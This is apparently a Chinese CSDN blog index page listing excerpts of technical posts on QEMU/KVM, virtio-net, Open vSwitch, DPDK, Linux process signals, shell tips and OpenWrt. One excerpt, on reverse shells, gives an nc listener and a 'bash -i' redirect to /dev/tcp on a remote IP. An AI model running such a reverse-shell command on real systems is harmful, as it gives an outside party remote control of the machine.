自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(113)
  • 问答 (3)
  • 收藏
  • 关注

原创 qemu-kvm网络前后端feature协商

整体框架介绍启动虚拟机时,前后端网络会进行feature协商。前端指的是guest内部的驱动,后端指的是dpdk中的vhost-user。但guest驱动不能直接和vhost_user协商,中间需要通过qemu这个中介。如下图:![在这里插入图片描述](https://img-blog.csdnimg.cn/335d4c7e5b50415289ee17f3eb8c485f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,te

2022-04-06 15:42:56 1115

原创 qemu编译使用

环境:ubuntu20-server编译1、安装依赖1)、安装python3.7;2)、源码编译安装re2c;3)、安装ninja-build, sudo apt-get install ninja-build;4)、安装gettext、libglib2.0-dev, sudo apt-get install gettext、libglib2.0-dev;5)、安装pkg-config;2、静态编译源码下载:https://download.qemu.org/./configure --

2022-03-28 15:17:30 1437

原创 virtio-net入门

io虚拟化 计算机系统中,主要有计算资源,存储资源和网络资源。所以,系统虚拟化技术又可以细分为计算虚拟化,存储虚拟化和网络虚拟化。其中存储设备和网络设备一般都是以外设的形式和CPU通过I/O总线连接起来的,所以存储虚拟化和网络虚拟化又可以统一归类为I/O虚拟化技术。I/O虚拟化技术可以分成两种,一种是全虚拟化,另外一种是半虚拟化。全虚拟化:Guest OS不知道自己是虚拟机,所以也就不需要修改Guest OS的驱动程序。这样Guest OS移植性好,但是虚拟机的I/O性能不高。半虚拟化:Gu

2022-03-27 17:50:32 1547

原创 记一次ubuntu20磁盘扩容

前置:确认磁盘是MBR分区还是GPT分区,本文仅使用与MBR分区。fdisk -lu /dev/vdb中type或者system字段为linux即为MBR分区,GPT则为GPT分区;1、修改分区表1.1、记录旧分区的起始和结束位置:Device Boot Start End Blocks Id System/dev/vdb1 2048 41943039 20970496 83 Linux查看挂载信息:lsblk | grep “/dev/vdb1”或者mount |grep “dev/v

2021-11-02 17:43:53 842

原创 ovs测试用例解析

Autotest 提供了一个测试套件生成框架,基于 m4 宏构建一个可移植的 shell 脚本。ovs基于autotest测试框架实现了基础测试用例。 从测试用例at文件到生成可执行shell脚本的过程:autom4te是autoconf提供的工具。 测试用例执行过程:autotest基础语法: 参照:Writing Testsuites - Autoconf— Macro:...

2021-10-16 11:25:31 523

翻译 OVS测试

Testing 使用open vswitch和各种第三方提供的工具来测试open vswitch。内置工具 open vswitch提供各种不同的测试套件和其他测试工具来验证ovs的基础功能。执行测试前必须要参照官方文档编译、配置和启动open vswitch。执行测试用例时不需要安装open vswitch或加载、编译内核模块,也不需要root权限。单元测试 Open vswitch包含了一套内部测试。提交patch之前,建议执行这些内部测试用...

2021-10-09 17:37:33 1109

原创 ovs入门

1、源码获取http://www.openvswitch.org//download/2、编译安装以ubuntu20.04 server版为例。1)安装依赖sudo apt-get install gcc make cmake autoconf auto make libtool -y2)编译安装cdopenvswitch-2.13.4sudo ./configure && make && make install3、运行modpro.

2021-09-30 16:11:13 603

原创 反弹shell

1、nc + bash反弹 1)远端监听shell nc -lnvvp 7777 2)提供shell端反弹 bash -i &> /dev/tcp/远端ip/7777 0>&1 3)执行完如上步骤后,远端(监听端)可获得步骤2反弹出的shell交互窗口;2、...

2021-09-16 19:57:44 118

原创 常用一句话shell命令行

1、一句话while循环while :; do echo `data`;sleep 0.5;done2、输出毫秒级时间date +%Y-%m-%d ' '%H:%M:%S.%N | cut -b 1-233、awk命令解析shell输出awk '{print $1,$2}'4、排除特定目录或文件ls | grep -v "filea \| fileb"5、shell字符串分割cat xxx | awk -F "-" '{print $2}'6、xargs传参把前序

2021-07-09 10:34:54 617

原创 H323场景电话场景验证

验证拓扑pc1(1001) GNUGK服务器(10.10.11.12)ip:10.20.11.200/24 --------------------| ||----eth2(10.20.11.1)-----| | eth5(10.10.11.1) pc

2021-04-21 09:35:33 778

原创 win&linux端口转发使用

应用场景: pc1<---------------->pc2211.20.3.1 172.36.56.2pc1可以与外网互通,pc2在内网,与外网不通,但pc1和pc2可以互通;需求:通过pc1访问pc2pc1为windows1、管理员权限打开cmd;2、添加端口转发;netsh interface portproxy add v4tov4 listenport=10022 connectaddress=172.36.56.2 connectport=22

2021-03-30 10:48:56 267

原创 dpdk示例程序l2fwd、l3fwd测试

编译l2fwd运行拓扑l3fwd运行拓扑

2021-03-28 18:27:58 2023 2

原创 sed、awk、tr命令使用

sed命令:1、模糊匹配文件某行并替换内容sed -i '/s/test1.*/要替换的内容/g' file.txtawk命令:1、以:为分隔符输出第三列cat abc:test:hello | awk -F ":" '{print $3}'

2021-03-16 19:23:39 455

原创 性能调试工具perf使用

定位进程运行的cpu:ps -o pid,psr,comm -p `pidof testd`查看cpu1热点:perf top -C 1查看当前cpu的系统调用:perf trace -C 1 --syscalls --call-graph dwarf查看cache-misses:

2021-03-12 09:23:34 365

转载 linux下cpu、内存、硬盘、网卡故障注入

1、下载使用软件下载路径:https://github.com/chaosblade-io/chaosblade/releases/download/v0.9.0/chaosblade-0.9.0-linux-amd64.tar.gz无需编译安装,解压即可使用。1、cpu压力注入帮助信息查看:./blade create cpu --help创建任务:./blade create cpu fullload --cpu-list 0,1,2 --cpu-percent 90{"code":2

2021-03-01 20:51:26 2179

原创 进程出core相关

可以导致出core的信号不产生core文件的条件:在下列条件下不产生core文件:( a )进程是设置-用户-ID,而且当前用户并非程序文件的所有者;( b )进程是设置-组-ID,而且当前用户并非该程序文件的组所有者;a,b可以通过设置/proc/sys/kernel/suid_dumpable来改变,这样suid的也可以产生core文件( c )用户没有写当前工作目录的许可权;( d )文件太大。core文件的许可权(假定该文件在此之前并不存在)通常是用户读/写,组读和其他读。利用GD

2021-02-06 11:00:39 614

原创 SIGKILL与SIGTERM的区别

SIGTERM SIGKILL的区别前者可以被阻塞、处理和忽略,但是后者不可以。KILL命令的默认不带参数发送的信号就是SIGTERM.让程序有好的退出。因为它可以被阻塞,所以有的进程不能被结束时,用kill发送后者信号,即可。即:kill -9 进程号。BLOCKED如果进程设置了SIGTERM可以被block,则进程处于block状态时无法被SIGTERM信号杀死。 sigset_t blockSet, savedSigMask; sigemptyset(&blockSe

2021-01-16 19:01:24 2465

原创 fork之子进程随父进程死亡prctl

利用prctl的PR_SET_PDEATHSIG属性设置父进程死亡时,发送给子进程的信号。int pid;pid = fork()if (pid == 0) {//子进程//设置父进程死亡时自动给子进程发的信号prctl(PR_SET_PDEATHSIG, SIGKILL)....} else {//父进程}相关属性如下:PR_SET_PDEATHSIG (since Linux 2.1.57) Set the parent death sign

2021-01-16 18:49:52 1757

原创 杀死进程组内所有进程

进程组概念 在 linux 中,进程不但有自己的 id 号,还会有一个组 id 号。我们把拥有相同组 id 号的进程的集合称为一个进程组。发送信号给进程和进程组使用 kill -n -pgid 可以将信号 n 发送到进程组 pgid 中的所有进程。例如命令 kill -9 -4115 表示杀死进程组 4115 中的所有进程使用kill -n pid 可以将信号n发送到指定pid进程。进程组的生命周期从进程组被创建开始,到组内所有进程终止或者离开。进程组组长进程组组长是进程组中

2021-01-15 20:07:07 1277

原创 linux下terminal重命名方法

1、vim .bashrc后插入如下内容function title() { if [[ -z "$ORIG" ]]; then ORIG=$PS1 fi TITLE="\[\e]2;$*\a\]" PS1=${ORIG}${TITLE}}2、title命名title 192.168.1.2

2020-12-17 21:09:32 1839 1

原创 替换glibc中malloc、free的几种方法

方案1 使用环境变量LD_PRELOAD方案2 malloc调试变量方案3 编译自己的libmalloc.a方案4 链接过程控制参考链接:https://blog.csdn.net/littlefang/article/details/6052563https://blog.csdn.net/littlefang/article/details/50381587?depth_1-...

2020-11-30 09:29:25 542

原创 代码解耦tips

1、添加type字段,使用RESERVE=0保留原有接口,新的接口type字段重新复制;

2020-11-21 14:47:42 124

转载 exec系列函数(execl,execlp,execle,execv,execvp)使用

一、exec替换进程映像在进程的创建上Unix采用了一个独特的方法,它将进程创建与加载一个新进程映象分离。这样的好处是有更多的余地对两种操作进行管理。当我们创建了一个进程之后,通常将子进程替换成新的进程映象,这可以用exec系列的函数来进行。当然,exec系列的函数也可以将当前进程替换掉。例如:在shell命令行执行ps命令,实际上是shell进程调用fork复制一个新的子进程,在利用exec系统调用将新产生的子进程完全替换成ps进程。二、exec系列函数(execl、execlp、execle、e

2020-11-21 11:33:36 1732

原创 线程变量__thread使用

#define MAX_CALLBACK_TYPE 100static struct { char stu_type; int flags; void *callback;} msg_callback[MAX_CALLBACK_TYPE] ;如上结构体初始化:#define MAX_CALLBACK_TYPE 100static struct { char stu_type; int flags; void *callback;} msg_callback[MAX_CALLBACK

2020-11-16 20:02:43 454

原创 docker使用

基于镜像创建容器:docker run -it IMAGE_NAME /bin/bash进入某个存在的容器:docker ps查看存在的容器id;进入某个在运行的容器:docker exec -it CONTAINER_ID /bin/bash

2020-11-04 10:07:25 88

原创 kill信号0使用

kill -0 pid 不发送任何信号,但是系统会进行错误检查。所以经常用来检查一个进程是否存在,存在返回0;不存在返回1;If signal is 0, then no actual signal is sent, but error checking is still performed.

2020-11-02 20:35:06 1056

原创 shell编程基础

1、文件测试运算符“-e file”:检测文件是否存在(包含了:目录和文件),如果是,返回truefile="hello.sh"if [ -e $file ]thenecho "文件存在"elseecho "文件不存在"fi“-s file”:检测文件是否为空(文件有内容),如果是,那么返回truefile="hello.sh"if [ -s $file ]thenecho "文件有内容"elseecho "文件没有内容"fi"-f file"检测一个文件是否是普通文件

2020-10-28 14:17:37 227

原创 linux服务service的使用(包含看门狗)

1、添加服务:/usr/lib/systemd/system/下添加xxx.service,内容如下:[Unit]:服务的说明Description:描述服务After:描述服务类别 [Service]服务运行参数的设置Type=forking 是后台运行的形式ExecStart 为服务的具体运行命令ExecReload 为服务的重启命令ExecStop 为服务的停止命令Restart 为服务的重启命令PrivateT

2020-10-26 19:40:05 1417

原创 openwrt安装软件提示[Errno 28] No space left on device

openwrt路由器安装软件时提示:ERROR: Could not install packages due to an EnvironmentError: [No space left on device使用如下命令指定TMPDIR即可:TMPDIR=/mnt/sdc1 pip install lxmlTMPDIR=/mnt/sdc1为一个比较大的存储空间可添加额外的参数,如:TMPDIR=/folder/address/here/ pip install --upgrade --ca

2020-08-23 21:22:05 2799

原创 openwrt路由器挂载sdcard为overlay

原料:openwrt路由器(Newifi 2、极路由1s也可以)这个机子自带了一个 Micro SD 插槽,刷了 OpenWrt 之后一直没怎么用到。闲着来折腾一下把 Micro SD 卡挂载到 /overlay 分区,增加内部可用的空间。首先要使用 Micro SD 卡槽,需要安装以下两个内核模块:opkg install kmod-sdhci kmod-sdhci-mt7620接下来在 /dev 下应该可以看到有 mmcblk0 的文件了,那就是我们的 Micro SD。然后再安装一些文件系

2020-08-23 12:57:54 3656

原创 centos8环境pidof获取准确进程pid

基本思路:获取进程所有pid,然后根据当前pid对应的进程文件系统中status文件获取到进程名,与当前进程名完全匹配的即为当前进程的pid。app_name="test"real_pid=-1for pid in `pidof $app_name`; do process_name = `cat /proc/${pid}/status/|grep "Name"|awk '{print $2}'` if [ $process_name == $app_name ]; then real_pi

2020-08-18 10:19:43 912

原创 极路由1(HC5661)刷openwrt固件及zerotier配置教程

极路由1 hc5661 cpu为MTK7620 mips 24kec1、刷不死breed2、openwrt网站下载最新的刷机包https://archive.openwrt.org/releases如https://archive.openwrt.org/releases/19.07.2/targets/ramips/mt7620/3、进入breed升级界面选择固件选择升级包升级4、界面或者后台执行opkg源更新1)opkg update或这页面software下点击update lists;

2020-08-02 12:33:00 8103

原创 emac使用

打开文件: emacs test.c搜索字符串:ctrl-s(向下搜索,ctrl-r向上搜索) 输入要搜索的字符串即可撤销输入:删除:ctrl-backspce保存文件:ctrl-x ctrl-s关闭文件:ctrl-x ctrl-c

2020-07-22 14:42:20 439

转载 LINUX_VERSION_CODE与KERNEL_VERSION

由于Linux版本的在不断更新,当设备驱动去兼容不同版本的内核时,需要知道当前使用的内核源码版本,以此来调用对应版本的内核API,这两个宏定义在文件/usr/include/linux/version.h#define LINUX_VERSION_CODE 263213#define KERNEL_VERSION(a,b,c) (((a)<<16)+((b)<<8)+(c))安装完linux-header之后,在下面这个目录找到了version.h这个文件/usr/li

2020-07-06 20:08:23 3792

翻译 TCMalloc:线程缓存的Malloc

动机TCMalloc要比glibc 2.3的malloc(可以从一个叫作ptmalloc2的独立库获得)和其他我测试过的malloc都快。ptmalloc在一台2.8GHz的P4机器上(对于小对象)执行一次malloc及free大约需要300纳秒。而TCMalloc的版本同样的操作大约只需要50纳秒。malloc版本的速度是至关重要的,因为如果malloc不够快,应用程序的作者就很有可能在malloc之上写一个自己的自由列表。这就可能导致额外的代码复杂度,以及更多的内存占用――除非作者本身非常仔细地划分自

2020-06-23 15:01:49 369

转载 Linux内存布局

我们先来看下Linux内存布局,此图比我之前写的那篇文章写的布局更详细在linux中,每一个进程都被抽象为task_struct结构体,称为进程描述符,存储着进程各方面的信息;例如打开的文件,信号以及内存等等;然后task_struct的一个属性mm_struct管理着进程的所有虚拟内存,称为内存描述符。在mm_struct结构体中,存储着进程各个内存段的开始以及结尾,如上图所示;这个进程使用的物理内存,即常驻内存RSS页数,这个内存使用的虚拟地址空间VSZ页数,还有这个进程虚拟内存区域集合和页表。

2020-06-05 20:20:11 273

转载 ssh(或sftp)连接慢问题解决

问题1:ssh连接很慢解决方案:这是应为linux系统默认开启DNS认证,我们关掉即可。 vim /etc/ssh/ssh_config UseDNS yes 改为no(122行左右); GSSAPIAuthentication yes改为no(81行左右)然后重启sshd服务service restart sshd;问题2:ssh连接突然就卡断了解决方案:这个是 linux 的安全问题,如果 60s 内没用任何数据,将会自动断开。 vim /etc/ssh/ssh_con

2020-06-02 15:11:15 6773 1

原创 链路带宽测试工具iperf使用

下载安装iperfhttps://iperf.fr/iperf-download.php下载安装对应版本,不区分服务端和客户端;运行udp模式测试:(tcp模式去掉-u参数即可)服务端执行:iperf -p 8000 -s -i -u监听8000端口,以服务端模式运行;客户端运行:iperf -u -c 192.168.1.1 -p 8000 -i 1 -d -b 100M使用8000端口以udp方式连接服务端192.168.1.1,指定带宽100M,测试上下行带宽并按照1s间隔输出测试

2020-06-02 10:10:18 1571

原创 网络常用python函数

字符串mac地址转换:def str2mac(s): return ("%02x:" * 6)[:-1] % tuple(orb(x) for x in s)mac地址转字符串:def mac2str(mac): return b"".join(chb(int(x, 16)) for x in plain_str(mac).split(':'))参考链接:https://github.com/secdev/scapy/blob/2e87889089e5593988911309

2020-05-20 10:22:22 242

原创 tcmalloc编译使用

一、编译https://github.com/gperftools/gperftools/releases如上链接页面下载需要版本的代码;cd /home/code/;tar -zxvf gperftools-2.7.90.tar.gz;cd gperftools-2.7.90;../configure --prefix=/usr/local/lib --disable-cpu-profiler --disable-heap-profiler --disable-heap-checker --d

2020-05-15 18:46:49 3199

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除